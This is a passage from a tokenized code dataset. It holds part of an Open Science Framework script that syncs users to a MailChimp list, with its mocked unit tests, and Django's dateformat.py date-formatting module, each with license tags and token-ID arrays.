mailchimp_utils.get_mailchimp_api() list_id = mailchimp_utils.get_list_id_from_name(list_name=GENERAL_LIST) logger.info('Subscribing {0} users to {1}...'.format(len(users), GENERAL_LIST)) if not dry: subscribe_info = m.lists.batch_subscribe( id=list_id, batch=serialized, double_optin=False, update_existing=True ) logger.info('{n} users subscribed'.format(n=subscribe_info['add_count'])) class TestSyncEmail(OsfTestCase): @classmethod def setUpClass(cls): super(TestSyncEmail, cls).setUpClass() # Cache real mailchimp API key cls._mailchimp_api_key = settings.MAILCHIMP_API_KEY # use fake api key for tests settings.MAILCHIMP_API_KEY = 'pizza-pie' @classmethod def tearDownClass(cls): super(TestSyncEmail, cls).tearDownClass() # restore API key settings.MAILCHIMP_API_KEY = cls._mailchimp_api_key cls._mailchimp_api_key = None def setUp(self): super(TestSyncEmail, self).setUp() self.user = UserFactory() self.unconfirmed = UnconfirmedUserFactory() def test_update_users(self): users = get_users() assert_false(self.user.mailing_lists) update_users(users, dry=False) assert_equal(self.user.mailing_lists, {'Open Science Framework General': True}) def test_serialize_user(self): user = UserFactory() result = serialize_user(user) assert_equal(result, {'email': {'email': user.username}, 'email_type': 'html', 'merge_vars': { 'fname': user.given_name, 'lname': user.family_name} }) def test_get_users(self): users = list(get_users()) assert_equal(len(users), 1) assert_not_in(self.unconfirmed, users) assert_equal(users, [self.user]) @mock.patch('website.mailchimp_utils.mailchimp.Lists.list') @mock.patch('website.mailchimp_utils.mailchimp.Lists.batch_subscribe') def test_subscribe_users_called_with_correct_arguments(self, mock_subscribe, mock_list): mock_list.return_value = {'data': [{'id': 1, 'list_name': GENERAL_LIST}]} list_id = mailchimp_utils.get_list_id_from_name(GENERAL_LIST) users = list(get_users()) subscribe_users(users, dry=False) serialized = [serialize_user(u) for u in users] mock_subscribe.assert_called_with(id=list_id, batch=serialized, double_optin=False, update_existing=True ) @mock.patch('website.mailchimp_utils.mailchimp.Lists.list') @mock.patch('website.mailchimp_utils.mailchimp.Lists.batch_subscribe') def test_main(self, mock_subscribe, mock_list): mock_list.return_value = {'data': [{'id': 1, 'list_name': GENERAL_LIST}]} assert_false(self.user.mailing_lists) main(dry=False) assert_true(self.user.mailing_lists[GENERAL_LIST]) mock_subscribe.assert_called() if __name__ == '__main__': script_utils.add_file_logger(logger, __file__) main(dry='dry' in sys.argv)
apache-2.0
[ 624, 199, 2610, 5355, 1006, 7264, 4403, 38, 4390, 370, 314, 283, 4299, 27491, 22545, 1696, 7, 199, 22989, 769, 641, 6016, 335, 3236, 14, 11606, 314, 3261, 9149, 26, 199, 199, 17, 14, 29225, 314, 4390, 370, 506, 4588, 503, 2737, 199, 18, 14, 2104, 1924, 922, 1159, 2004, 12, 4069, 3062, 1901, 2877, 19593, 26, 272, 20123, 370, 506, 30400, 503, 4588, 272, 20123, 370, 506, 625, 23178, 199, 19, 14, 2104, 1924, 402, 5204, 19593, 12, 675, 26, 272, 769, 8842, 2610, 5355, 342, 370, 1050, 892, 503, 1678, 3411, 4390, 641, 2195, 3820, 272, 769, 8842, 9251, 456, 5355, 342, 370, 2813, 2269, 4390, 687, 2195, 3820, 199, 199, 1014, 921, 27703, 14851, 14, 1198, 335, 3236, 14, 957, 15, 1246, 15, 1917, 13, 475, 15, 5186, 13, 13297, 13, 475, 13, 1198, 335, 3236, 14, 8624, 199, 199, 2445, 26, 339, 3378, 641, 9920, 701, 428, 44, 737, 6546, 26, 845, 221, 1719, 14, 14157, 1257, 4390, 7, 658, 22989, 63, 6502, 64, 1504, 4898, 272, 4588, 14, 1227, 10393, 4390, 4898, 30400, 370, 314, 3232, 27491, 22545, 1696, 272, 30939, 769, 4799, 314, 18027, 335, 3236, 3261, 14, 26848, 314, 8367, 314, 1642, 900, 272, 3405, 7037, 370, 282, 922, 9445, 376, 21645, 2777, 543, 376, 8927, 295, 771, 640, 334, 1403, 316, 272, 370, 314, 658, 20923, 493, 64, 3245, 7830, 2419, 658, 751, 14963, 961, 21645, 909, 1990, 10250, 272, 6042, 14, 710, 8367, 1990, 1255, 4020, 12, 436, 652, 9158, 8792, 14, 199, 624, 199, 646, 984, 199, 199, 504, 3413, 2238, 364, 77, 492, 1413, 199, 504, 10059, 14, 1178, 14, 1018, 492, 2876, 199, 504, 10691, 492, 6016, 335, 3236, 63, 1208, 12, 2202, 199, 504, 10691, 14, 571, 492, 4205, 63, 571, 199, 504, 2295, 14, 1095, 492, 593, 7646, 1746, 199, 504, 2295, 14, 15406, 492, 16047, 12, 1910, 16391, 24594, 199, 504, 11354, 14, 2537, 492, 627, 199, 646, 1683, 199, 199, 646, 2050, 199, 504, 10554, 492, 3778, 465, 2884, 63, 1208, 199, 199, 2921, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 31548, 63, 4924, 275, 2202, 14, 8175, 1244, 8947, 63, 31548, 63, 4924, 421, 199, 318, 2446, 8, 10481, 29, 549, 304, 272, 327, 2494, 1536, 4887, 14745, 272, 4205, 63, 571, 8, 13243, 29, 797, 9, 272, 4390, 275, 769, 8, 362, 63, 3707, 1012, 272, 1678, 63, 3707, 8, 3707, 12, 9951, 29, 10481, 9, 272, 23421, 63, 3707, 8, 3707, 12, 9951, 29, 10481, 9, 327, 12679, 769, 536, 2544, 3879, 2884, 199, 199, 318, 1678, 63, 3707, 8, 3707, 12, 9951, 29, 549, 304, 272, 367, 922, 315, 664, 63, 3707, 837, 267, 340, 440, 9951, 26, 288, 340, 922, 14, 22989, 63, 6717, 365, 488, 26, 355, 922, 14, 22989, 63, 6717, 275, 1052, 288, 922, 14, 22989, 63, 6717, 59, 31548, 63, 4924, 61, 275, 715, 288, 922, 14, 2117, 342, 267, 2512, 14, 815, 360, 1899, 1052, 3985, 83, 30939, 63, 6717, 1211, 4588, 17374, 908, 8, 751, 423, 344, 430, 199, 199, 318, 664, 63, 3707, 837, 272, 408, 1002, 1006, 4390, 3963, 911, 506, 30400, 370, 314, 4403, 38, 1696, 30939, 769, 1041, 272, 327, 28554, 625, 16391, 436, 625, 11616, 4390, 272, 327, 6944, 26, 1910, 31563, 436, 625, 16391, 4390, 1172, 365, 63, 11616, 29, 797, 272, 372, 2876, 14, 1623, 8, 49, 360, 374, 63, 11616, 297, 283, 4077, 297, 715, 430, 421, 199, 318, 8437, 63, 751, 8, 751, 304, 272, 408, 1767, 314, 7871, 1211, 1420, 701, 314, 6016, 335, 3236, 3522, 23421, 6037, 14, 272, 4178, 921, 27703, 14851, 14, 1198, 335, 3236, 14, 957, 15, 1246, 15, 18, 14, 16, 15, 6717, 15, 2912, 13, 10108, 14, 8624, 272, 408, 272, 372, 791, 2123, 356, 791, 2123, 356, 922, 14, 2473, 1386, 288, 283, 2123, 63, 466, 356, 283, 1360, 297, 288, 283, 5628, 63, 2936, 356, 469, 355, 283, 5252, 356, 922, 14, 11809, 63, 354, 12, 355, 283, 76, 354, 356, 922, 14, 6606, 63, 354, 93, 288, 789, 421, 199, 318, 23421, 63, 3707, 8, 3707, 12, 9951, 29, 549, 304, 272, 6380, 275, 359, 3549, 63, 751, 8, 751, 9, 367, 922, 315, 4390, 61, 272, 333, 275, 6016, 335, 3236, 63, 1208, 14, 362, 63, 1198, 335, 3236, 63, 1246, 342, 272, 769, 63, 344, 275, 6016, 335, 3236, 63, 1208, 14, 362, 63, 513, 63, 344, 63, 504, 63, 354, 8, 513, 63, 354, 29, 31548, 63, 4924, 9, 272, 2512, 14, 815, 360, 2610, 729, 10911, 469, 16, 93, 4390, 370, 469, 17, 93, 1396, 1370, 908, 8, 552, 8, 3707, 395, 29087, 748, 63, 4924, 430, 272, 340, 440, 9951, 26, 267, 23421, 63, 815, 275, 333, 14, 6717, 14, 2912, 63, 10108, 8, 355, 1305, 29, 513, 63, 344, 12, 355, 3522, 29, 8397, 12, 355, 4270, 63, 411, 1346, 29, 797, 12, 355, 1678, 63, 5952, 29, 549, 267, 776, 267, 2512, 14, 815, 11117, 78, 93, 4390, 30400, 1370, 908, 8, 78, 29, 10108, 63, 815, 459, 525, 63, 835, 5156, 4388, 199, 533, 1379, 10878, 7035, 8, 47, 7646, 1746, 304, 339, 768, 3744, 272, 347, 18561, 8, 1886, 304, 267, 1613, 8, 774, 10878, 7035, 12, 843, 680, 27777, 342, 267, 327, 11977, 3363, 6016, 335, 3236, 3261, 790, 267, 843, 423, 1198, 335, 3236, 63, 1246, 63, 498, 275, 2202, 14, 8175, 1244, 8947, 63, 3735, 63, 3078, 267, 327, 675, 4026, 2986, 790, 367, 2295, 267, 2202, 14, 8175, 1244, 8947, 63, 3735, 63, 3078, 275, 283, 80, 30937, 13, 9890, 7, 339, 768, 3744, 272, 347, 24468, 8, 1886, 304, 267, 1613, 8, 774, 10878, 7035, 12, 843, 680, 12336, 2543, 342, 267, 327, 9066, 3261, 790, 267, 2202, 14, 8175, 1244, 8947, 63, 3735, 63, 3078, 275, 843, 423, 1198, 335, 3236, 63, 1246, 63, 498, 267, 843, 423, 1198, 335, 3236, 63, 1246, 63, 498, 275, 488, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 774, 10878, 7035, 12, 291, 680, 5996, 342, 267, 291, 14, 751, 275, 16047, 342, 267, 291, 14, 324, 16391, 275, 1910, 16391, 24594, 342, 339 ]
[ 199, 2610, 5355, 1006, 7264, 4403, 38, 4390, 370, 314, 283, 4299, 27491, 22545, 1696, 7, 199, 22989, 769, 641, 6016, 335, 3236, 14, 11606, 314, 3261, 9149, 26, 199, 199, 17, 14, 29225, 314, 4390, 370, 506, 4588, 503, 2737, 199, 18, 14, 2104, 1924, 922, 1159, 2004, 12, 4069, 3062, 1901, 2877, 19593, 26, 272, 20123, 370, 506, 30400, 503, 4588, 272, 20123, 370, 506, 625, 23178, 199, 19, 14, 2104, 1924, 402, 5204, 19593, 12, 675, 26, 272, 769, 8842, 2610, 5355, 342, 370, 1050, 892, 503, 1678, 3411, 4390, 641, 2195, 3820, 272, 769, 8842, 9251, 456, 5355, 342, 370, 2813, 2269, 4390, 687, 2195, 3820, 199, 199, 1014, 921, 27703, 14851, 14, 1198, 335, 3236, 14, 957, 15, 1246, 15, 1917, 13, 475, 15, 5186, 13, 13297, 13, 475, 13, 1198, 335, 3236, 14, 8624, 199, 199, 2445, 26, 339, 3378, 641, 9920, 701, 428, 44, 737, 6546, 26, 845, 221, 1719, 14, 14157, 1257, 4390, 7, 658, 22989, 63, 6502, 64, 1504, 4898, 272, 4588, 14, 1227, 10393, 4390, 4898, 30400, 370, 314, 3232, 27491, 22545, 1696, 272, 30939, 769, 4799, 314, 18027, 335, 3236, 3261, 14, 26848, 314, 8367, 314, 1642, 900, 272, 3405, 7037, 370, 282, 922, 9445, 376, 21645, 2777, 543, 376, 8927, 295, 771, 640, 334, 1403, 316, 272, 370, 314, 658, 20923, 493, 64, 3245, 7830, 2419, 658, 751, 14963, 961, 21645, 909, 1990, 10250, 272, 6042, 14, 710, 8367, 1990, 1255, 4020, 12, 436, 652, 9158, 8792, 14, 199, 624, 199, 646, 984, 199, 199, 504, 3413, 2238, 364, 77, 492, 1413, 199, 504, 10059, 14, 1178, 14, 1018, 492, 2876, 199, 504, 10691, 492, 6016, 335, 3236, 63, 1208, 12, 2202, 199, 504, 10691, 14, 571, 492, 4205, 63, 571, 199, 504, 2295, 14, 1095, 492, 593, 7646, 1746, 199, 504, 2295, 14, 15406, 492, 16047, 12, 1910, 16391, 24594, 199, 504, 11354, 14, 2537, 492, 627, 199, 646, 1683, 199, 199, 646, 2050, 199, 504, 10554, 492, 3778, 465, 2884, 63, 1208, 199, 199, 2921, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 31548, 63, 4924, 275, 2202, 14, 8175, 1244, 8947, 63, 31548, 63, 4924, 421, 199, 318, 2446, 8, 10481, 29, 549, 304, 272, 327, 2494, 1536, 4887, 14745, 272, 4205, 63, 571, 8, 13243, 29, 797, 9, 272, 4390, 275, 769, 8, 362, 63, 3707, 1012, 272, 1678, 63, 3707, 8, 3707, 12, 9951, 29, 10481, 9, 272, 23421, 63, 3707, 8, 3707, 12, 9951, 29, 10481, 9, 327, 12679, 769, 536, 2544, 3879, 2884, 199, 199, 318, 1678, 63, 3707, 8, 3707, 12, 9951, 29, 549, 304, 272, 367, 922, 315, 664, 63, 3707, 837, 267, 340, 440, 9951, 26, 288, 340, 922, 14, 22989, 63, 6717, 365, 488, 26, 355, 922, 14, 22989, 63, 6717, 275, 1052, 288, 922, 14, 22989, 63, 6717, 59, 31548, 63, 4924, 61, 275, 715, 288, 922, 14, 2117, 342, 267, 2512, 14, 815, 360, 1899, 1052, 3985, 83, 30939, 63, 6717, 1211, 4588, 17374, 908, 8, 751, 423, 344, 430, 199, 199, 318, 664, 63, 3707, 837, 272, 408, 1002, 1006, 4390, 3963, 911, 506, 30400, 370, 314, 4403, 38, 1696, 30939, 769, 1041, 272, 327, 28554, 625, 16391, 436, 625, 11616, 4390, 272, 327, 6944, 26, 1910, 31563, 436, 625, 16391, 4390, 1172, 365, 63, 11616, 29, 797, 272, 372, 2876, 14, 1623, 8, 49, 360, 374, 63, 11616, 297, 283, 4077, 297, 715, 430, 421, 199, 318, 8437, 63, 751, 8, 751, 304, 272, 408, 1767, 314, 7871, 1211, 1420, 701, 314, 6016, 335, 3236, 3522, 23421, 6037, 14, 272, 4178, 921, 27703, 14851, 14, 1198, 335, 3236, 14, 957, 15, 1246, 15, 18, 14, 16, 15, 6717, 15, 2912, 13, 10108, 14, 8624, 272, 408, 272, 372, 791, 2123, 356, 791, 2123, 356, 922, 14, 2473, 1386, 288, 283, 2123, 63, 466, 356, 283, 1360, 297, 288, 283, 5628, 63, 2936, 356, 469, 355, 283, 5252, 356, 922, 14, 11809, 63, 354, 12, 355, 283, 76, 354, 356, 922, 14, 6606, 63, 354, 93, 288, 789, 421, 199, 318, 23421, 63, 3707, 8, 3707, 12, 9951, 29, 549, 304, 272, 6380, 275, 359, 3549, 63, 751, 8, 751, 9, 367, 922, 315, 4390, 61, 272, 333, 275, 6016, 335, 3236, 63, 1208, 14, 362, 63, 1198, 335, 3236, 63, 1246, 342, 272, 769, 63, 344, 275, 6016, 335, 3236, 63, 1208, 14, 362, 63, 513, 63, 344, 63, 504, 63, 354, 8, 513, 63, 354, 29, 31548, 63, 4924, 9, 272, 2512, 14, 815, 360, 2610, 729, 10911, 469, 16, 93, 4390, 370, 469, 17, 93, 1396, 1370, 908, 8, 552, 8, 3707, 395, 29087, 748, 63, 4924, 430, 272, 340, 440, 9951, 26, 267, 23421, 63, 815, 275, 333, 14, 6717, 14, 2912, 63, 10108, 8, 355, 1305, 29, 513, 63, 344, 12, 355, 3522, 29, 8397, 12, 355, 4270, 63, 411, 1346, 29, 797, 12, 355, 1678, 63, 5952, 29, 549, 267, 776, 267, 2512, 14, 815, 11117, 78, 93, 4390, 30400, 1370, 908, 8, 78, 29, 10108, 63, 815, 459, 525, 63, 835, 5156, 4388, 199, 533, 1379, 10878, 7035, 8, 47, 7646, 1746, 304, 339, 768, 3744, 272, 347, 18561, 8, 1886, 304, 267, 1613, 8, 774, 10878, 7035, 12, 843, 680, 27777, 342, 267, 327, 11977, 3363, 6016, 335, 3236, 3261, 790, 267, 843, 423, 1198, 335, 3236, 63, 1246, 63, 498, 275, 2202, 14, 8175, 1244, 8947, 63, 3735, 63, 3078, 267, 327, 675, 4026, 2986, 790, 367, 2295, 267, 2202, 14, 8175, 1244, 8947, 63, 3735, 63, 3078, 275, 283, 80, 30937, 13, 9890, 7, 339, 768, 3744, 272, 347, 24468, 8, 1886, 304, 267, 1613, 8, 774, 10878, 7035, 12, 843, 680, 12336, 2543, 342, 267, 327, 9066, 3261, 790, 267, 2202, 14, 8175, 1244, 8947, 63, 3735, 63, 3078, 275, 843, 423, 1198, 335, 3236, 63, 1246, 63, 498, 267, 843, 423, 1198, 335, 3236, 63, 1246, 63, 498, 275, 488, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 774, 10878, 7035, 12, 291, 680, 5996, 342, 267, 291, 14, 751, 275, 16047, 342, 267, 291, 14, 324, 16391, 275, 1910, 16391, 24594, 342, 339, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
japeto/Vigtech-Services
env/lib/python2.7/site-packages/django/utils/dateformat.py
365
10712
""" PHP date() style date formatting See http://www.php.net/date for format strings Usage: >>> import datetime >>> d = datetime.datetime.now() >>> df = DateFormat(d) >>> print(df.format('jS F Y H:i')) 7th October 2003 11:39 >>> """ from __future__ import unicode_literals import calendar import datetime import re import time from django.utils import six from django.utils.dates import ( MONTHS, MONTHS_3, MONTHS_ALT, MONTHS_AP, WEEKDAYS, WEEKDAYS_ABBR, ) from django.utils.encoding import force_text from django.utils.timezone import get_default_timezone, is_aware, is_naive from django.utils.translation import ugettext as _ re_formatchars = re.compile(r'(?<!\\)([aAbBcdDeEfFgGhHiIjlLmMnNoOPrsStTUuwWyYzZ])') re_escaped = re.compile(r'\\(.)') class Formatter(object): def format(self, formatstr): pieces = [] for i, piece in enumerate(re_formatchars.split(force_text(formatstr))): if i % 2: pieces.append(force_text(getattr(self, piece)())) elif piece: pieces.append(re_escaped.sub(r'\1', piece)) return ''.join(pieces) class TimeFormat(Formatter): def __init__(self, obj): self.data = obj self.timezone = None # We only support timezone when formatting datetime objects, # not date objects (timezone information not appropriate), # or time objects (against established django policy). if isinstance(obj, datetime.datetime): if is_naive(obj): self.timezone = get_default_timezone() else: self.timezone = obj.tzinfo def a(self): "'a.m.' or 'p.m.'" if self.data.hour > 11: return _('p.m.') return _('a.m.') def A(self): "'AM' or 'PM'" if self.data.hour > 11: return _('PM') return _('AM') def B(self): "Swatch Internet time" raise NotImplementedError('may be implemented in a future release') def e(self): """ Timezone name. If timezone information is not available, this method returns an empty string. """ if not self.timezone: return "" try: if hasattr(self.data, 'tzinfo') and self.data.tzinfo: # Have to use tzinfo.tzname and not datetime.tzname # because datatime.tzname does not expect Unicode return self.data.tzinfo.tzname(self.data) or "" except NotImplementedError: pass return "" def f(self): """ Time, in 12-hour hours and minutes, with minutes left off if they're zero. Examples: '1', '1:30', '2:05', '2' Proprietary extension. """ if self.data.minute == 0: return self.g() return '%s:%s' % (self.g(), self.i()) def g(self): "Hour, 12-hour format without leading zeros; i.e. '1' to '12'" if self.data.hour == 0: return 12 if self.data.hour > 12: return self.data.hour - 12 return self.data.hour def G(self): "Hour, 24-hour format without leading zeros; i.e. '0' to '23'" return self.data.hour def h(self): "Hour, 12-hour format; i.e. '01' to '12'" return '%02d' % self.g() def H(self): "Hour, 24-hour format; i.e. '00' to '23'" return '%02d' % self.G() def i(self): "Minutes; i.e. '00' to '59'" return '%02d' % self.data.minute def O(self): """ Difference to Greenwich time in hours; e.g. '+0200', '-0430'. If timezone information is not available, this method returns an empty string. """ if not self.timezone: return "" seconds = self.Z() sign = '-' if seconds < 0 else '+' seconds = abs(seconds) return "%s%02d%02d" % (sign, seconds // 3600, (seconds // 60) % 60) def P(self): """ Time, in 12-hour hours, minutes and 'a.m.'/'p.m.', with minutes left off if they're zero and the strings 'midnight' and 'noon' if appropriate. Examples: '1 a.m.', '1:30 p.m.', 'midnight', 'noon', '12:30 p.m.' Proprietary extension. """ if self.data.minute == 0 and self.data.hour == 0: return _('midnight') if self.data.minute == 0 and self.data.hour == 12: return _('noon') return '%s %s' % (self.f(), self.a()) def s(self): "Seconds; i.e. '00' to '59'" return '%02d' % self.data.second def T(self): """ Time zone of this machine; e.g. 'EST' or 'MDT'. If timezone information is not available, this method returns an empty string. """ if not self.timezone: return "" name = self.timezone.tzname(self.data) if self.timezone else None if name is None: name = self.format('O') return six.text_type(name) def u(self): "Microseconds; i.e. '000000' to '999999'" return '%06d' % self.data.microsecond def Z(self): """ Time zone offset in seconds (i.e. '-43200' to '43200'). The offset for timezones west of UTC is always negative, and for those east of UTC is always positive. If timezone information is not available, this method returns an empty string. """ if not self.timezone: return "" offset = self.timezone.utcoffset(self.data) # `offset` is a datetime.timedelta. For negative values (to the west of # UTC) only days can be negative (days=-1) and seconds are always # positive. e.g. UTC-1 -> timedelta(days=-1, seconds=82800, microseconds=0) # Positive offsets have days=0 return offset.days * 86400 + offset.seconds class DateFormat(TimeFormat): year_days = [None, 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334] def b(self): "Month, textual, 3 letters, lowercase; e.g. 'jan'" return MONTHS_3[self.data.month] def c(self): """ ISO 8601 Format Example : '2008-01-02T10:30:00.000123' """ return self.data.isoformat() def d(self): "Day of the month, 2 digits with leading zeros; i.e. '01' to '31'" return '%02d' % self.data.day def D(self): "Day of the week, textual, 3 letters; e.g. 'Fri'" return WEEKDAYS_ABBR[self.data.weekday()] def E(self): "Alternative month names as required by some locales. Proprietary extension." return MONTHS_ALT[self.data.month] def F(self): "Month, textual, long; e.g. 'January'" return MONTHS[self.data.month] def I(self): "'1' if Daylight Savings Time, '0' otherwise." if self.timezone and self.timezone.dst(self.data): return '1' else: return '0' def j(self): "Day of the month without leading zeros; i.e. '1' to '31'" return self.data.day def l(self): "Day of the week, textual, long; e.g. 'Friday'" return WEEKDAYS[self.data.weekday()] def L(self): "Boolean for whether it is a leap year; i.e. True or False" return calendar.isleap(self.data.year) def m(self): "Month; i.e. '01' to '12'" return '%02d' % self.data.month def M(self): "Month, textual, 3 letters; e.g. 'Jan'" return MONTHS_3[self.data.month].title() def n(self): "Month without leading zeros; i.e. '1' to '12'" return self.data.month def N(self): "Month abbreviation in Associated Press style. Proprietary extension." return MONTHS_AP[self.data.month] def o(self): "ISO 8601 year number matching the ISO week number (W)" return self.data.isocalendar()[0] def r(self): "RFC 2822 formatted date; e.g. 'Thu, 21 Dec 2000 16:01:07 +0200'" return self.format('D, j M Y H:i:s O') def S(self): "English ordinal suffix for the day of the month, 2 characters; i.e. 'st', 'nd', 'rd' or 'th'" if self.data.day in (11, 12, 13): # Special case return 'th' last = self.data.day % 10 if last == 1: return 'st' if last == 2: return 'nd' if last == 3: return 'rd' return 'th' def t(self): "Number of days in the given month; i.e. '28' to '31'" return '%02d' % calendar.monthrange(self.data.year, self.data.month)[1] def U(self): "Seconds since the Unix epoch (January 1 1970 00:00:00 GMT)" if isinstance(self.data, datetime.datetime) and is_aware(self.data): return int(calendar.timegm(self.data.utctimetuple())) else: return int(time.mktime(self.data.timetuple())) def w(self): "Day of the week, numeric, i.e. '0' (Sunday) to '6' (Saturday)" return (self.data.weekday() + 1) % 7 def W(self): "ISO-8601 week number of year, weeks starting on Monday" # Algorithm from http://www.personal.ecu.edu/mccartyr/ISOwdALG.txt week_number = None jan1_weekday = self.data.replace(month=1, day=1).weekday() + 1 weekday = self.data.weekday() + 1 day_of_year = self.z() if day_of_year <= (8 - jan1_weekday) and jan1_weekday > 4: if jan1_weekday == 5 or (jan1_weekday == 6 and calendar.isleap(self.data.year - 1)): week_number = 53 else: week_number = 52 else: if calendar.isleap(self.data.year): i = 366 else: i = 365 if (i - day_of_year) < (4 - weekday): week_number = 1 else: j = day_of_year + (7 - weekday) + (jan1_weekday - 1) week_number = j // 7 if jan1_weekday > 4: week_number -= 1 return week_number def y(self): "Year, 2 digits; e.g. '99'" return six.text_type(self.data.year)[2:] def Y(self): "Year, 4 digits; e.g. '1999'" return self.data.year def z(self): "Day of the year; i.e. '0' to '365'" doy = self.year_days[self.data.month] + self.data.day if self.L() and self.data.month > 2: doy += 1 return doy def format(value, format_string): "Convenience function" df = DateFormat(value) return df.format(format_string) def time_format(value, format_string): "Convenience function" tf = TimeFormat(value) return tf.format(format_string)
lgpl-3.0
[ 624, 199, 31300, 1434, 342, 3449, 1434, 10803, 199, 9295, 1455, 921, 1544, 14, 8624, 14, 846, 15, 602, 367, 1475, 3326, 199, 199, 7692, 26, 199, 6071, 492, 2197, 199, 6071, 366, 275, 2197, 14, 2083, 14, 2131, 342, 199, 6071, 4051, 275, 6148, 3484, 8, 68, 9, 199, 6071, 870, 8, 1587, 14, 908, 360, 74, 51, 481, 1488, 869, 26, 73, 1333, 199, 23, 273, 18365, 22459, 13004, 4119, 26, 1355, 199, 6071, 199, 624, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 11234, 199, 646, 2197, 199, 646, 295, 199, 646, 900, 199, 199, 504, 1639, 14, 1208, 492, 3816, 199, 504, 1639, 14, 1208, 14, 9356, 492, 334, 272, 603, 615, 2080, 51, 12, 603, 615, 2080, 51, 63, 19, 12, 603, 615, 2080, 51, 63, 19600, 12, 603, 615, 2080, 51, 63, 1282, 12, 644, 8699, 43, 25683, 12, 644, 8699, 43, 25683, 63, 1217, 7184, 12, 199, 9, 199, 504, 1639, 14, 1208, 14, 2991, 492, 3542, 63, 505, 199, 504, 1639, 14, 1208, 14, 7145, 492, 664, 63, 885, 63, 7145, 12, 365, 63, 14600, 12, 365, 63, 21578, 199, 504, 1639, 14, 1208, 14, 6893, 492, 10366, 465, 485, 199, 199, 264, 63, 908, 6574, 275, 295, 14, 2014, 8, 82, 10120, 11230, 1103, 31440, 65, 5583, 34, 2866, 872, 29916, 38, 71, 39, 72, 16106, 41, 74, 76, 23041, 45, 78, 1944, 1938, 2393, 933, 21364, 29638, 55, 89, 30879, 58, 566, 358, 199, 264, 63, 13572, 275, 295, 14, 2014, 8, 82, 8124, 8, 4959, 358, 421, 199, 533, 31084, 8, 785, 304, 272, 347, 1475, 8, 277, 12, 1475, 495, 304, 267, 10338, 275, 942, 267, 367, 284, 12, 14854, 315, 3874, 8, 264, 63, 908, 6574, 14, 1294, 8, 3990, 63, 505, 8, 908, 495, 15206, 288, 340, 284, 450, 499, 26, 355, 10338, 14, 740, 8, 3990, 63, 505, 8, 5675, 8, 277, 12, 14854, 9, 4059, 288, 916, 14854, 26, 355, 10338, 14, 740, 8, 264, 63, 13572, 14, 954, 8, 82, 1154, 17, 297, 14854, 430, 267, 372, 6522, 904, 8, 15655, 9, 421, 199, 533, 4703, 3484, 8, 7772, 304, 339, 347, 636, 826, 721, 277, 12, 1559, 304, 267, 291, 14, 576, 275, 1559, 267, 291, 14, 7145, 275, 488, 398, 327, 2136, 1454, 2291, 7137, 1380, 10803, 2197, 2251, 12, 267, 327, 440, 1434, 2251, 334, 7145, 2556, 440, 5827, 395, 267, 327, 503, 900, 2251, 334, 17777, 23594, 1639, 4592, 680, 267, 340, 1228, 8, 1113, 12, 2197, 14, 2083, 304, 288, 340, 365, 63, 21578, 8, 1113, 304, 355, 291, 14, 7145, 275, 664, 63, 885, 63, 7145, 342, 288, 587, 26, 355, 291, 14, 7145, 275, 1559, 14, 9374, 339, 347, 282, 8, 277, 304, 267, 3546, 65, 14, 77, 3530, 503, 283, 80, 14, 77, 3530, 2, 267, 340, 291, 14, 576, 14, 5180, 690, 4119, 26, 288, 372, 4018, 80, 14, 77, 2659, 267, 372, 4018, 65, 14, 77, 2659, 339, 347, 437, 8, 277, 304, 267, 3546, 1156, 7, 503, 283, 10793, 4065, 267, 340, 291, 14, 576, 14, 5180, 690, 4119, 26, 288, 372, 4018, 10793, 358, 267, 372, 4018, 1156, 358, 339, 347, 699, 8, 277, 304, 267, 298, 51, 6821, 22026, 900, 2, 267, 746, 4279, 360, 7551, 506, 6366, 315, 282, 6466, 4683, 358, 339, 347, 325, 8, 277, 304, 267, 408, 267, 4703, 2619, 536, 14, 398, 982, 7137, 2556, 365, 440, 2808, 12, 642, 1083, 2529, 267, 376, 2701, 1059, 14, 267, 408, 267, 340, 440, 291, 14, 7145, 26, 288, 372, 3087, 398, 862, 26, 288, 340, 2688, 8, 277, 14, 576, 12, 283, 9374, 358, 436, 291, 14, 576, 14, 9374, 26, 355, 327, 26858, 370, 675, 10313, 14, 20027, 436, 440, 2197, 14, 20027, 355, 327, 2952, 666, 521, 14, 20027, 1630, 440, 4282, 6140, 355, 372, 291, 14, 576, 14, 9374, 